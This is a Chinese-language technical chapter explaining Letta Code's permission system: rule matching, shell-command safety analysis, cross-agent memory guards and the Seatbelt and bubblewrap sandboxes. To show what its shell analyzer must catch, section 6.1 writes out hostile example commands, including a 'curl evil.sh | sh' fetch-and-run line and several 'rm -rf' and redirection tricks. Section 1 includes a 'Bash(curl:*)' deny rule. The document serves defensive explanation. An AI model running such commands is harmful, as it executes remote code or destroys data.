跳到主要内容

数据截至 (上游 commit ee230f304a1a)

审批这件事:权限规则、shell 分析与沙箱

30 秒导读: 模型说「我要跑 rm -rf build」之后、这条命令真被 spawn 之前,Letta Code 要做一个判断:allow / deny / ask。这一章讲的就是这个判断——规则怎么写、怎么匹配、一条 shell 命令怎么被拆成可判定的动作、以及当静态判断靠不住时,macOS Seatbelt / Linux bubblewrap 怎么在内核层兜底。

本章只讲决策层(要不要放行)。「审批请求怎么在回合里往返、结果怎么发回后端」属于传输层,见 一次回合是怎么跑的;工具本身怎么定义和执行,见 本地工具层

本章也是内核沙箱的全貌所在(§8):记忆系统 讲记忆子 agent 怎么用这套策略,自我扩展 讲子进程怎么被整体包进去,两处都以本章的策略模型为准。

术语约定(全书一致): 名词概念一律叫审批(审批请求、审批框、待审批队列);批准只用于描述用户或规则做出的那个动作。


1. 这是什么(零基础也能懂)

一句话定义: 一个纯函数为主的判决器——输入「工具名 + 参数 + 配置好的规则」,输出「allow / deny / ask / alwaysAsk」四选一。

它解决什么问题。 编码 agent 要有用就得能改文件、能跑命令;要安全就不能什么都放行。中间地带只有一个办法:每次动手前问一下。但每次都问会烦死人,所以真正的工程问题是——

  • 哪些操作根本不用问(读一个仓库内的文件、git status)?
  • 哪些操作必须问,而且用户答完「以后别再问了」之后,该记住成一条什么样的规则?
  • 哪些操作问都不该问,直接拒(去读另一个 agent 的记忆目录)?

四种判决的含义:

判决含义谁产生
allow直接执行,不打扰用户规则命中 / 只读 shell / 模式覆盖
deny直接拒绝,不给用户翻盘机会deny 规则 / 两个硬 guard / hook 否决
ask弹审批框,用户可以选「本次允许」或「以后都允许」默认兜底
alwaysAsk弹审批框,但不允许存成永久规则alwaysAsk 规则 / mod 工具策略

类型定义在 src/permissions/types.ts:21(PermissionDecision),规则集合在 src/permissions/types.ts:9(PermissionRules,五个字段:mode / allow / deny / ask / alwaysAsk / additionalDirectories)。

用起来什么样。 用户在 .letta/settings.json 里写规则,语法是 工具名(载荷):

{
"permissions": {
"allow": ["Bash(git diff:*)", "Read(src/**)", "Bash(npm run test)"],
"deny": ["Read(.env)", "Bash(curl:*)"],
"ask": ["Write(**)"],
"additionalDirectories": ["../shared-lib"]
}
}

Bash(git diff:*) 里的 :* 是前缀通配:凡是以 git diff 开头的命令都放行。文件类工具的载荷是 glob(src/**)。

一句话直觉: 把它想成机场安检的多道闸门——先过金属探测门(硬 guard,响了就是响了,没得商量),再过人工验票(规则,先到先得),最后是登机口的登机牌复核(内核沙箱,你手上票据说什么不重要,门开不开由系统说了算)。


2. 顶层全景(它大概怎么转)

怎么读这张图: 从上往下是一次工具调用的判定顺序,任何一层给出终局判决就停;虚线框是「静态判断管不了、只能靠内核」的部分。

模型产出 tool call


┌──────────────────────────────┐
│ ① 硬闸门(不可绕过) │ 工作区沙箱 guard
│ 只看路径,不看规则 │ 跨 agent 记忆 guard
└──────────────┬───────────────┘
│ 没命中

┌──────────────────────────────┐
│ ② 规则闸门(先到先得) │ deny → alwaysAsk → 模式
│ 16 道,第一个命中即返回 │ → allow → ask → 默认
└──────────────┬───────────────┘
│ 判决 = ask 时

┌──────────────────────────────┐
│ ③ 用户 hook(可否决/可放行) │ PermissionRequest 事件
└──────────────┬───────────────┘
│ allow / 用户点了同意

┌ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┐
④ 内核沙箱(spawn 时才生效) Seatbelt / bwrap
└ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘


命令真的跑起来

部件一句话职责:

部件干什么文件
checkPermission判决主循环,按顺序过所有闸门src/permissions/checker.ts:157
checkPermissionWithHooks在主循环外套一层 mod 策略 + hooksrc/permissions/checker.ts:907
匹配器把「查询串」和「规则串」比对src/permissions/matcher.ts
别名折叠把各模型族的工具名归一src/permissions/canonical.ts:66
shell 分析把一条命令拆成可判定的动作src/permissions/shell-analysis.tsread-only-shell.ts
配置加载四层 settings 合并 + 缓存src/permissions/loader.ts:226
硬 guard工作区 / 跨 agent 记忆的绝对边界workspace-sandbox.ts:113cross-agent-guard.ts:409
内核沙箱生成 SBPL / bwrap 参数并包住启动器src/sandbox/
审批编排批量审批、规则落盘后重查src/cli/app/use-approval-flow.ts:133

主线走一遍(不进代码): 工具管理器调 checkToolPermission(src/tools/manager.ts:1226)→ 加载并合并配置 → 进 checkPermissionWithHooks → 拿到判决 → allow 就直接执行,ask 就把请求塞进 UI 的待审批队列 → 用户选完 → 结果沿回合环路发回后端。


3. 判决流水线:先到先得的 16 道闸门

这一节讲顺序——因为「谁先跑」就等于「谁优先级高」,这是整个模块最重要的一件事。

主循环是 checkPermissionForEngine(src/permissions/checker.ts:276),从上到下依次判定,第一个命中的闸门直接 return:

#闸门命中结果源码锚点
1工作区沙箱 guarddenychecker.ts:318evaluateWorkspaceSandboxGuard
2跨 agent 记忆 guarddenychecker.ts:339evaluateCrossAgentGuard
3permissions.deny 规则denychecker.ts:357
4--disallowedToolsdenychecker.ts:374
5会话级 alwaysAskalwaysAskchecker.ts:390
6配置级 alwaysAskalwaysAskchecker.ts:407
7mod 工具的 alwaysAsk 策略alwaysAskchecker.ts:424
8权限模式覆盖allowchecker.ts:442checkModeOverride
9--allowedToolsallowchecker.ts:460
10Skill 工具allowchecker.ts:480
11只读 shell 命令allowchecker.ts:491isReadOnlyShellCommand
12自己记忆目录内的 shellallowchecker.ts:514isMemoryDirCommand
13工作目录内的读类工具allowchecker.ts:534
14会话级 allowallowchecker.ts:555
15配置级 allowallowchecker.ts:572
16permissions.ask 规则askchecker.ts:589
兜底默认值allow 或 askchecker.ts:606getDefaultDecision

三条从这张表里读出来的设计:

  • 拒绝永远赢。 所有 deny 类闸门排在所有 allow 类之前;两个硬 guard 甚至排在用户自己写的 deny 规则之前,意味着没有任何配置能把它们关掉(跨 agent guard 只认 --disable-memory-guard 这一个父进程专用开关,见 cross-agent-guard.ts:63 isMemoryGuardDisabled)。
  • strict 模式是个「跳过所有自动放行」的横切开关。 checker.ts:478 算出 isStrictMode 后,第 10~13 道闸门全部被跳过,兜底也从 allow 变 ask(getDefaultDecision 第一句,checker.ts:823)。
  • 兜底不是一刀切。 getDefaultDecision(checker.ts:815)维护一张自动放行名单:各模型族的读类工具、TodoWritememory 系列、MessageChannelTask 工具特殊——只有 recall / reflection / history-analyzer 这几种子 agent 类型自动放行(SAFE_AUTO_APPROVE_SUBAGENT_TYPES,checker.ts:804),其余都要问。

3.1 两套引擎与可观测性

同一份规则有 v1 / v2 两套解释方式(PermissionEngine,types.ts:30)。v2 是默认(isPermissionsV2Enabled,checker.ts:113,只有显式 LETTA_PERMISSIONS_V2=0 才回退)。核心差别只有一个:v2 先把工具名折叠成规范名再匹配,v1 用原始名。所以 v1 的白名单要把 read_file / ReadFile / read_file_gemini 全列一遍(WORKING_DIRECTORY_TOOLS_V1,checker.ts:50),v2 只写四个(checker.ts:49)。

为了安全地做这次迁移,代码里留了两个诊断口子:

  • LETTA_PERMISSION_TRACE=1 — 判决为 ask/alwaysAsk/deny 时,把每一道闸门的命中情况(PermissionCheckTrace,types.ts:45)打到 stderr;LETTA_PERMISSION_TRACE_ALL=1 则全部都打。
  • LETTA_PERMISSIONS_DUAL_EVAL=1同时跑两套引擎,判决或命中规则不一致就打一条 dual-eval mismatch 日志(checker.ts:197-242)。影子引擎的结果只记录、不采用。

这是个可借鉴的模式:新旧判决逻辑并行跑、只对比不采信,用真实流量把差异找出来,再切默认值。


4. 规则怎么写、怎么匹配

4.1 一条规则的形状

规则串统一是 工具名(载荷),载荷的语义由工具族决定:

工具族载荷语义例子匹配函数
文件类(Read/Write/Edit/Glob/Grep/ListDir)glob 路径Read(src/**)Read(//abs/path/**)Read(~/.zshrc)matchesFilePattern(matcher.ts:128)
Bash 类命令前缀Bash(git diff:*)Bash(npm run lint)matchesBashPattern(matcher.ts:222)
其它纯工具名WebFetch*matchesToolPattern(matcher.ts:305)

要判定时,先用 buildPermissionQuery(checker.ts:669)把这次调用也拼成同样形状的查询串(Bash(git diff HEAD)),再拿它和每条规则比。

三个容易被忽略的细节:

  • 绝对路径的写法是 // Read(//Users/me/x/**) 里开头的双斜杠会被 normalizeAbsolutePattern(matcher.ts:85)削成单斜杠——这是从 Claude Code 继承的语法,为的是把「绝对路径」和「相对 glob」在字面上区分开。
  • 相对 pattern 会同时拿相对路径和绝对路径各试一次(matcher.ts:205-208),所以 Read(src/**)/repo/src/a.ts 也命中。
  • Bash 是前缀匹配,不是正则。 :* 后缀被切掉后直接 startsWith(matcher.ts:275-286)。

4.2 别名折叠:一条规则管住所有模型族

同一个「读文件」的动作,在不同模型族的工具集里叫 Read / read_file / ReadFile / read_file_gemini。若规则得为每个别名写一遍,用户必然写漏。

canonicalToolName(src/permissions/canonical.ts:66)把它们折叠成 8 个规范名:Bash / Read / Write / Edit / Glob / Grep / ListDir / Task。还有一个特例在 toolNameForPermissionCheck(canonical.ts:78):Monitor 工具带 command 参数时按 Bash 判定——因为它实质上就是在跑命令。

4.3 存盘前先规范化

用户点「以后都允许」时,要落盘的那条规则会先过 normalizePermissionRule(src/permissions/rule-normalization.ts:21):工具名折叠成规范名、shell 载荷做拆包与 git -C 剥离、文件载荷统一分隔符。

配套的 permissionRulesEquivalent(rule-normalization.ts:40)让去重按语义而不是字面来:shell(git -C /x status)Bash(git status) 会被认成同一条,不会在配置里堆两遍。合并规则列表(mergeRuleList,loader.ts:313)和存盘(savePermissionRule,loader.ts:329)都用它。

4.4 四层配置合并

loadPermissions(src/permissions/loader.ts:226)按固定顺序读四个文件,数组追加式合并(不是覆盖):

~/.config/letta/settings.json (legacy 用户级)
~/.letta/settings.json (用户级)
<cwd>/.letta/settings.json (项目级,进版本库)
<cwd>/.letta/settings.local.json (本地级,自动加进 .gitignore)

路径列表见 getPermissionSourcePaths(loader.ts:64);PermissionScope(types.ts:28)的三个值 project / local / user 就是存盘时选哪个文件(savePermissionRule 的 switch,loader.ts:339)。存到 local 时会顺手把 .letta/settings.local.json 写进 .gitignore(ensureLocalSettingsIgnored,loader.ts:402)。

合并结果带缓存,失效判断用的是文件签名(mtime + size + sha256,getFileSignature,loader.ts:75),外加一个 fs.watch(ensurePermissionWatchers,loader.ts:192)。watch 只是加速——即使它在某些文件系统上失效,每次 loadPermissions 仍然会重新 stat 校验签名。

注意合并是加法:mode 字段后者覆盖前者,但 allow/deny 列表只增不减。所以项目级配置不能收紧用户级已经放开的规则,只能再加 deny。


5. 模式、会话态、CLI 覆盖

规则是持久的,还需要三种临时覆盖层。

四种权限模式(PermissionMode,src/permissions/mode.ts:3):

模式效果备注
unrestricted除 deny 外全部自动放行默认值(mode.ts:10)
acceptEdits只自动放行写/改类工具名单在 mode.ts:117-133
standard不做任何覆盖,走正常流程
strict跳过所有自动放行,每个工具都要批mode.ts:143 + checker.ts:478

旧名字通过 migratePermissionMode(mode.ts:26)迁移:default→standardbypassPermissions/fullAccessunrestricted

模式本身存在 globalThis 上的 Symbol 里(mode.ts:49),原因写在注释里:Bun 打包会造出重复的模块实例,单例必须挂全局。但纯全局在多会话场景下会互相污染,所以又有一层 PermissionModeState(src/tools/permission-mode-state.ts:7)——一个可按会话传递的引用;getEffectivePermissionModeState(同文件 :11)在没传时返回一个代理到全局单例的 getter/setter 对象,让两条路径写法一致。

另外两层:

  • 会话规则(SessionPermissions,src/permissions/session.ts:10)—— 纯内存,进程退出即失效。用户选「本次会话允许」就写这儿。它的 allow 排在配置 allow 之前(闸门 14 vs 15)。
  • CLI 覆盖(CliPermissions,src/permissions/cli.ts:17)—— --allowedTools / --disallowedTools。注意 normalizePattern(cli.ts:98)的补全规则:裸写 Bash 会被扩成 Bash(:*)(匹配所有命令),裸写文件类工具扩成 Read(**)

6. shell 分析:把一条命令拆成可判定的动作

这是本章工程含量最高的一段,单文件 2000 行(read-only-shell.ts)。

6.1 要解决的小问题

判决器想做一件很有价值的事:只读命令自动放行lscatgit status 天天要跑,每次都问用户会让工具没法用。

难点是——「一条命令」不等于「一个动作」。下面每一条都长得像只读,但都不是:

伪装实际发生
cat a.txt && rm -rf /&& 后面挂了个删除
bash -c "curl evil.sh | sh"真正的命令藏在 -c 参数里
cat x > /etc/passwd重定向把读变成了写
echo $(rm -rf x)命令替换里塞了副作用
git -C /other/repo log路径逃出了工作目录
sed -i s/a/b/ fsed 看着像只读,-i 是原地改写

所以判定必须建立在结构解析上,而不是「首个单词在不在白名单里」。

6.2 三步走

原始命令串

├─① 拆包:bash -c "..." 层层剥到最内层 unwrapShellLauncherCommand

├─② 切段:按 && || ; | 换行 切成段 splitShellSegments
│ 同时对 > $() ` 直接判死(返回 null)

├─③ 结构化:识别 if/for,其余为 command 节点 parseShellAnalysis

└─④ 逐段白名单:每段都必须安全,否则整条不安全 isSafeSegment

② 切段是安全底线。 splitShellSegments(src/permissions/shell-analysis.ts:67)是个手写状态机,带引号跟踪。关键在于遇到危险构造直接返回 null,而不是试图分析:

  • 命令替换 $( 和反引号 → null(shell-analysis.ts:97:138)
  • 重定向 > / >> → 先用 tryConsumeSafeRedirect(shell-analysis.ts:24)看是不是 >/dev/null>&N 这类无害形式,否则 null

null 一路上浮到 isReadOnlyShellCommand(read-only-shell.ts:1026),那里 if (!nodes) return false —— 解析不了就当不安全。这是整个模块反复出现的姿态:失败即保守。

③ 结构化。 parseShellAnalysis(shell-analysis.ts:623)支持 if(parseIfNode,:425)和 for(parseForNode,:498)。有意思的是 else明确拒绝(shell-analysis.ts:484,注释说明这是刻意保守),而 for 循环会把每个 item 代入循环体各判一次(areReadOnlyNodes,read-only-shell.ts:299-306)——因为循环变量可能被用在路径里。

④ 逐段白名单。 isSafeSegment(read-only-shell.ts:1063)是真正的名单查询:

类别名单/规则位置
通用只读命令cat ls grep jq wc diff … 约 50 个ALWAYS_SAFE_COMMANDS,:16
git 只读子命令status diff log show blame … 21 个SAFE_GIT_SUBCOMMAND_LIST,:82
gh CLI按「类别→动作」两级白名单,gh api 还要查 HTTP 方法是否 GET/HEADSAFE_GH_COMMANDS,:188
letta CLImemory status / agents listSAFE_LETTA_COMMANDS,:178
逐命令特判sed-i;sort-o;find-exec/-delete;rg--pre/--search-zip:1114:1202:1199:1088

路径也要判。 hasDisallowedPathArg(read-only-shell.ts:1251)拦掉绝对路径、~/$HOME/../ 遍历,除非落在允许根内(isUnderAllowedPathRoot,:1233)。允许根由调用方给:getAllowedShellPathRoots(checker.ts:651)= 工作目录 + additionalDirectories。有个精细的例外:ls stat du realpath 这类只看元数据、不读内容的命令,绝对路径也放行(EXTERNAL_PATH_METADATA_COMMANDS,:71)。

6.3 原理演示

// 示意,非源码:整条命令的安全性 = 每一段都安全
function isReadOnly(command) {
const segments = splitOnSeparators(command); // && || ; | 换行
if (segments === null) return false; // 有 > 或 $( ) 就直接判死
return segments.every(seg => {
const tokens = tokenize(seg); // 带引号跟踪的分词
return SAFE_COMMANDS.has(tokens[0]) // 首词在白名单
&& !tokens.slice(1).some(isOutsidePath); // 且没有越界路径
});
}

重点看两处:segments === null失败即拒绝,和 every全体通过才算通过——cat a && rm b 因此必然进不了自动放行。

6.4 另一套拆包:给规则匹配用的规范化

shell-command-normalization.ts匹配侧的工具,和上面的安全侧分工不同:

函数干什么位置
unwrapShellLauncherCommand剥掉 bash -c / env X=1 sh -c 外壳,最多 5 层:226
extractPrimaryShellCommand跳过 cd / export / 环境变量赋值前缀,取出「真正那条命令」:242
normalizeBashRulePayload规则载荷规范化,顺带把 git -C <path> 剥成 git:258:277

为什么要有它:用户存的规则是 Bash(git status),模型实际发的可能是 cd repo && git statusmatchesBashPattern 会拿四个候选串(规范化的/原始的 × 主命令的/整串的,matcher.ts:267)分别去比,任一命中即算命中。这是「宽松匹配放行规则」和「严格分析判只读」的分工——前者服务体验,后者服务安全。


7. 两个硬闸门:规则管不着的地方

7.1 工作区沙箱 guard

evaluateWorkspaceSandboxGuard(src/permissions/workspace-sandbox.ts:113)在配置了工作区沙箱(root + isolationRoot)时生效,逻辑两句话:

  • 写类工具的目标路径不在 root → deny
  • 任何工具的目标路径进了 isolationRoot 但不在 root → deny;递归类工具(Glob/Grep/ListDir)连「指向 isolationRoot 的祖先」也算进入

配置本身在 resolveWorkspaceSandbox(:21)里做前置校验:两个路径必须绝对、必须是已存在目录、root 必须严格嵌套在 isolationRoot 内,且宿主机必须有可用的内核沙箱后端——任一不满足直接抛错。宁可启动失败,不要假装隔离

7.2 跨 agent 记忆 guard

这个 guard 防的是:agent A 去读 agent B 的记忆目录(~/.letta/agents/<id>/memory)。判决入口 evaluateCrossAgentGuard(src/permissions/cross-agent-guard.ts:409)。

路径分类由 classifyPathUnderRoot(:183)做,四种结果:

分类含义处理
outside跟记忆树无关放过
agent落在某个 <tree>/<id>/…记下这个 id
agents-root正好指着树根记成 <unresolved>,永不允许
ancestor是树根的祖先(如 $HOME/)对递归类工具(Glob/Grep/ListDir)算命中

ancestor 这条很妙:Read(~/x) 逃不出目标文件,但 Glob(~/**) 会走进每个 agent 的目录——所以同一个路径,对单文件工具无害、对递归工具有害。名单在 RECURSIVE_CANONICAL_TOOLS(:268)。

还有几个补漏:

  • Globpattern 参数也过一遍解析(:369),否则 pattern: "/home/u/.letta/agents/**/*.md" 能绕过 path 检查。
  • apply_patch 类工具解析补丁正文里的 *** Add/Update/Delete File: 指令(extractApplyPatchPaths,:212)。
  • 每个路径判两遍:字面路径 + realpath(:329-336),防符号链接。

7.3 一个重要的撤退:shell 不再做静态跨 agent 分析

cross-agent-guard.ts:424 有一行:遇到 shell 类工具直接返回 null(不判)。文件头注释(:11-19)解释了原因——旧的 shell token 扫描「被符号链接、命令替换、通配符和子进程绕过」,所以整块删掉,改由内核沙箱负责。

这是本章最值得带走的判断之一:静态分析一条 shell 命令的真实文件访问,是做不到的。能做到的只有两件事——(a) 用它来判「这条命令要不要打扰用户」(只读放行,可以保守),(b) 把真正的边界交给内核。第 8 节就是 (b)。


8. 内核沙箱:两个后端,一个策略模型

8.1 策略模型

FsSandboxPolicy(src/sandbox/policy.ts:39)只有五个字段,但语义靠顺序表达:

字段含义
baseWritableRoots宽松写放行(如整个 ~/.letta),发射
deniedRoots读+写全禁(如 ~/.letta/agents),覆盖上一条
writableRoots读+写放回,覆盖 denied(自己的记忆目录)
readonlyRoots只读放回,写仍禁
restrictWritestrue = 除放行外全域禁写;false = 只禁 denied

发射顺序固定为:全域禁写 → base 放行 → denied 禁 → writable 放回 → readonly 放回。特异性靠顺序而不是嵌套深度表达——这样「宽放行里挖个洞,洞里再挖个白点」就能三层叠出来。

两种成品策略,都是上面这五个字段的组合,没有第二套语义:

成品策略给谁用怎么叠出来定义
buildCrossAgentSandboxPolicy普通 agent 的每条 shell 命令全盘可写,只把别人的记忆树读写双禁src/permissions/sandbox-policy.ts:312
buildMemorySubagentSandboxPolicy记忆类子 agent 的整个进程restrictWrites: true → base 放行 ~/.letta → denied 两棵 agents 树 → writable 挖回自己那份:255

第二行那三步碰上记忆子 agent 时的实际效果(能写自己的记忆、碰不到别人的、也碰不到代码仓库),见 记忆系统 §6.4;它怎么被套在子进程启动器外面,见 自我扩展策略语义只在本节定义,那两章只讲用法。

8.2 两个后端

维度macOS SeatbeltLinux bubblewrap
实现方式/usr/bin/sandbox-exec -p <SBPL>bwrap 挂载命名空间
默认姿态(allow default) + 定点 deny--ro-bind /--bind /
禁止的目录长什么样存在但访问被拒--tmpfs 盖住,直接消失
规则优先级最 specific 的规则赢(与顺序无关)后挂载的赢(顺序敏感)
生成函数buildSeatbeltProfile(src/sandbox/seatbelt.ts:32)buildBwrapArgs(src/sandbox/bwrap.ts:38)

两边各有一个必须知道的坑,都写在源码注释里:

  • bwrap 的祖先挖洞风险(bwrap.ts:60-68):恢复挂载排在 mask 之后,后挂载的赢。所以任何放行根只能是 denied 根的后代或不相交,绝不能是祖先——否则会把整个被屏蔽的子树重新暴露出来。isTreeOrAncestorOfTree(sandbox-policy.ts:113)就是为此存在的守卫。
  • Seatbelt 的空环境变量 bug(sandbox-policy.ts:154:244-249):如果子进程 cwd 的祖先目录被 read-deny,子进程会带着空 environment 启动。所以挖洞时挖的是整个 <tree>/<agentId> 目录而不只是 /memory —— 让 cwd 的直接父目录保持可遍历。

还有一条贯穿全局的纪律:所有路径进后端前必须 realpathcanonicalizeRoot(sandbox-policy.ts:74)负责这件事,它还处理「叶子还不存在」的情况——往上找到最近的已存在祖先做 realpath,再把缺的尾巴接回去。注释里点破了后果:用字面路径建的策略如果穿过符号链接,规则会一条都匹配不上,即「一个放行一切的沙箱」。

8.3 什么时候真的会包装

resolveShellSandboxContext(src/permissions/sandbox-gate.ts:43)是唯一的准入判断,五个 bail 条件:开关没开 / 已经在沙箱里(看 LETTA_SANDBOX 哨兵,policy.ts:55)/ 宿主机没后端 / cwd 落在记忆树里 / 解析不出自己的记忆根。通过后由 applyShellSandbox(src/tools/impl/shell-sandbox.ts:54)调 wrapLauncher(src/sandbox/wrap.ts:21)把启动器包起来。

LETTA_FS_SANDBOX 一个变量控制两件事,语义要看清:

取值记忆子 agent(整进程)agent 自己的 shell(每条命令)
未设置沙箱(默认开)不沙箱
1 / true沙箱沙箱
0 / false不沙箱不沙箱

判断函数分别是 isFsSandboxEnabled(src/sandbox/availability.ts:65)和 isShellSandboxEnabled(:88)。为什么 agent shell 默认不开?注释说得很直白(:73-82):agent 经常合法地去看 ~/.letta/agents,内核 deny 会返回 Operation not permitted,而这个错误没有任何权限模式能批准通过——用户被卡死且不知道为什么。所以只在多租户部署里建议打开。

后端探测 detectSandboxBackend(availability.ts:31)在 Linux 上不只是「找得到 bwrap 二进制」,还要真跑一次 --ro-bind / / --unshare-user /bin/true(:153),因为 WSL1 和部分加固内核上 user namespace 是不可用的。探不到时不 fail-closed,而是打一次醒目 warning 继续跑(warnSandboxBackendUnavailable,:102)。


9. hooks:用户脚本从哪儿介入

hooks 让用户挂自己的脚本或 LLM 判断进流程。事件定义在 src/hooks/types.ts:7(工具类)和 :16(简单类)。

事件时机能否否决
PermissionRequest判决为 ask 时能:allow 或 deny
PreToolUse工具执行前能:阻断,还能改写入参
PostToolUse / PostToolUseFailure工具执行后不能
UserPromptSubmit / Stop / SubagentStop输入/回合边界
Notification / PreCompact / SessionStart / SessionEnd通知类不能

协议是退出码(HookExitCode,types.ts:169):0 = 放行,2 = 阻断(stderr 作为理由回给模型),其它 = 出错。

9.1 关键位置:hook 只在 ask 时跑

checkPermissionWithHooks(checker.ts:907)的结构值得逐句看:

  1. 先跑完整的 checkPermission;
  2. 判决不是 deny 时,才问 mod 权限注册表(:932);
  3. 判决是 ask 时,才跑 runPermissionRequestHooks(:960src/hooks/index.ts:158);
  4. hook 阻断 → deny;任一 hook 退出 0 → allow(:982)。

推论很重要:hook 无法翻案 deny,也无法给已经 allow 的调用加一道审查。 它只能在「本来要弹框问用户」的那个格子里替用户回答。想加严格审查得靠 PreToolUse——那个 hook 在 src/tools/manager.ts:2169 无条件跑在执行前。

9.2 加载与执行

  • 合并顺序:project-local → project → global(mergeHooksConfigs,src/hooks/loader.ts:117),局部优先。
  • 匹配器是正则:matchesTool(loader.ts:187)把 matcher 编成 ^(?:pattern)$,所以 Edit|WriteNotebook.* 都能用;正则非法就退化成字面相等。
  • 总开关:areHooksDisabled(loader.ts:315),用户级 disabled: false 能压过项目级的 true——防止项目仓库强行给用户挂脚本。
  • 执行:executeHooks(src/hooks/executor.ts:348)串行跑,遇到第一个 BLOCK 立即停;非阻断类用 executeHooksParallel(:427)。JSON 输入走 stdin,默认超时 60s。
  • 环境清洗:trySpawnWithLauncher(executor.ts:40)会先剥掉父进程里的 LETTA_AGENT_ID / MEMORY_DIR / USER_CWD 等作用域变量,再显式塞回本次的值——避免 hook 继承到上一次调用的残留上下文。

9.3 prompt hook:用模型当审查员

type: "prompt" 的 hook 不跑脚本,而是把 hook 输入 JSON 交给一个模型判断(executePromptHook,src/hooks/prompt-executor.ts:161)。系统提示要求模型只回 {"ok": bool, "reason": str}(:19),解析在 parsePromptResponse(:54),然后 responseToHookResult(:94)把它翻译成同样的退出码语义。

一处保守设计:response.ok !== true 才算通过——解析失败、字段缺失、返回 "true" 字符串,全部按阻断处理


10. UI 编排入口(只讲编排)

审批 UI 的组件不在本章范围,但两个编排点属于决策层的一部分。这些结果最终怎么被打包成一条 type: "approval" 消息发回服务端、断线后又怎么被捞回来,是回合层的事,见 一次回合是怎么跑的 的 §6(approval 环路)与 §7(重开后恢复)。

10.1 存了规则之后,要把剩下的重判一遍

handleApproveAlways(src/cli/app/use-approval-flow.ts:736)在用户点「以后都允许」时做四件事:

① 重新分析当前审批 → 拿到推荐规则 analyzeToolApproval
② 落盘 savePermissionRule(rule, "allow", scope)
③ 把队列里剩下的审批全部重新判一遍 checkToolPermission × N
④ 若剩下的全部变成 allow → 一次性批量执行,不再逐个问

第 ③ 步是体验的关键:用户批准 Bash(git diff:*) 之后,队列里另外三条 git diff 应该立刻消失,而不是继续一条条问。第 ④ 步有个刻意的保守条件(:825-827):只有当剩余审批全部变为 allow 时才批量走,只要还有一条需要问就退回逐个流程——注释说明这是为了避免部分批次的状态同步复杂度。

还有个小分支(:774):规则恰好是 Edit(**) 且作用域是 session 时,不写规则,而是把 UI 权限模式切成 acceptEdits

推荐规则由 analyzeApprovalContext(src/permissions/analyzer.ts:116)生成,输出一个 ApprovalContext(:27):推荐规则串、人话描述、按钮文案、默认作用域、能否持久化、安全等级三档。Bash 分支(analyzeBashApproval,:606)有一条硬规矩:命中 DANGEROUS_COMMANDS(rm mv chmod sudo dd kill…,:411)或危险 flag(--force --hard -f,:587)时,返回 allowPersistence: false —— 这类命令永远不给「以后都允许」的选项,只能一次次批。

10.2 过期审批的恢复

进程重启或会话恢复时,后端可能还挂着上次没批完的审批。recoverRestoredPendingApprovals(use-approval-flow.ts:227)负责重建 UI,并用一个三元组做幂等键(RestoredApprovalRecoveryState:批次 key + 会话代数 + 状态,:61),防止同一批审批被重复恢复。它还会检查是否已经有排队好的真实结果(hasQueuedRealResults,:254),有就跳过重建。

10.3 结果规范化与拒绝文案

  • normalizeApprovalResultsForPersistence(src/agent/approval-result-normalization.ts:107)在结果发回后端前统一形状:把 approve: true 且带 tool_return 的项改写成 type: "tool";把用户批准时写的备注当成一段文本前缀塞进 tool_return(prependApprovalComment,:83);把已知被中断的 tool_call_id 强制标成 status: "error"——按结构化 id 判断,而不是按返回文本判断(文本回退要显式开 allowInterruptTextFallback)。
  • formatPermissionDenial(src/permissions/format-denial.ts:42)统一拒绝文案。文件头注释交代了动机:这段格式化曾在 10 多个地方各写各的。优先级是「调用方自定义 > 通用理由让位给规则文本 > 详细理由 > 规则标签 > 兜底」。

11. 巧妙之处(可借鉴)

  • 影子引擎对拍。 新旧判决逻辑同时跑、只记录差异不采信(checker.ts:197)。用真实流量做迁移验证,比写多少测试都实在。
  • 失败即拒绝,贯穿到底。 解析不了的 shell 返回 null 并被当作不安全(shell-analysis.ts:67 + read-only-shell.ts:1056);prompt hook 返回值不是严格 true 就算阻断(prompt-executor.ts:99);沙箱配置校验不过直接抛错(workspace-sandbox.ts:25-46)。
  • 承认静态分析的极限并撤退。 把 shell 的跨 agent 检查整块删掉、改交内核(cross-agent-guard.ts:11-19)。删掉一个「看起来在防守」的模块,比留着它给人虚假的安全感更负责。
  • 同一个路径,对不同工具危险度不同。 ancestor 分类只对递归类工具算命中(cross-agent-guard.ts:304-312);ls/stat 这类只看元数据的命令允许绝对路径(read-only-shell.ts:1100)。粒度落在「动作 × 目标」上,而不是只看目标。
  • 策略语义靠发射顺序表达。 五个字段 + 固定顺序就叠出了三层特异性(sandbox/policy.ts:30-37),比写一套嵌套规则求解器简单得多。
  • 危险命令不给持久化选项。 allowPersistence: false(analyzer.ts:623)—— 有些东西就是不该有「别再问我」这个按钮。
  • 规则去重按语义。 permissionRulesEquivalent(rule-normalization.ts:40)让 shell(git -C /x status)Bash(git status) 认成同一条,配置不会随使用膨胀。

12. 边界与局限

  • 默认模式是 unrestricted DEFAULT_PERMISSION_MODE(mode.ts:10)—— 除 deny 规则和两个硬 guard 外,默认什么都放行。所有关于「规则怎么匹配」的精细设计,只在用户主动切到 standard/strict 后才大量生效。
  • agent shell 的内核沙箱默认关。 见 §8.3 的取舍表。默认配置下,spawn 出去的 shell 不受内核约束,跨 agent 隔离对 shell 只剩「只读判定不放行 → 弹框问用户」这一道。
  • 工作目录判定用的是裸前缀比较。 isWithinAllowedDirectories(checker.ts:626)用 absolutePath.startsWith(workingDirectory),没有补分隔符,也没有先做 realpath。字面上,/work/proj-x 会被判成在 /work/proj 之内。相比之下,内核沙箱侧(sandbox-policy.ts:98 isWithinRoot)是显式带 / 的比较。
  • 配置合并只加不减。 项目级配置无法收紧用户级已放开的 allow(mergeRuleList,loader.ts:313),只能追加 deny。
  • shell if 不支持 else shell-analysis.ts:484 明确拒绝,代价是带 else 的命令永远进不了自动放行(保守但会多问)。
  • 别名折叠有边界。 canonicalToolName(canonical.ts:66)是硬编码名单,新模型族的工具名要手工加进去,否则规则匹配会退化成「只按原名匹配」。
  • 配置解析失败静默跳过。 loadPermissions(loader.ts:257)对 JSON 语法错误的 settings 文件直接 catch 掉——用户写坏了一个引号,他的 deny 规则会悄悄失效

13. 代码地图(导航索引)

主题文件关键符号
判决主循环src/permissions/checker.tscheckPermissioncheckPermissionForEnginegetDefaultDecision
hook 包裹层src/permissions/checker.tscheckPermissionWithHooks
类型src/permissions/types.tsPermissionRulesPermissionDecisionPermissionScopePermissionCheckTrace
模式匹配src/permissions/matcher.tsmatchesFilePatternmatchesBashPatternmatchesToolPattern
工具名折叠src/permissions/canonical.tscanonicalToolNameisShellToolNametoolNameForPermissionCheck
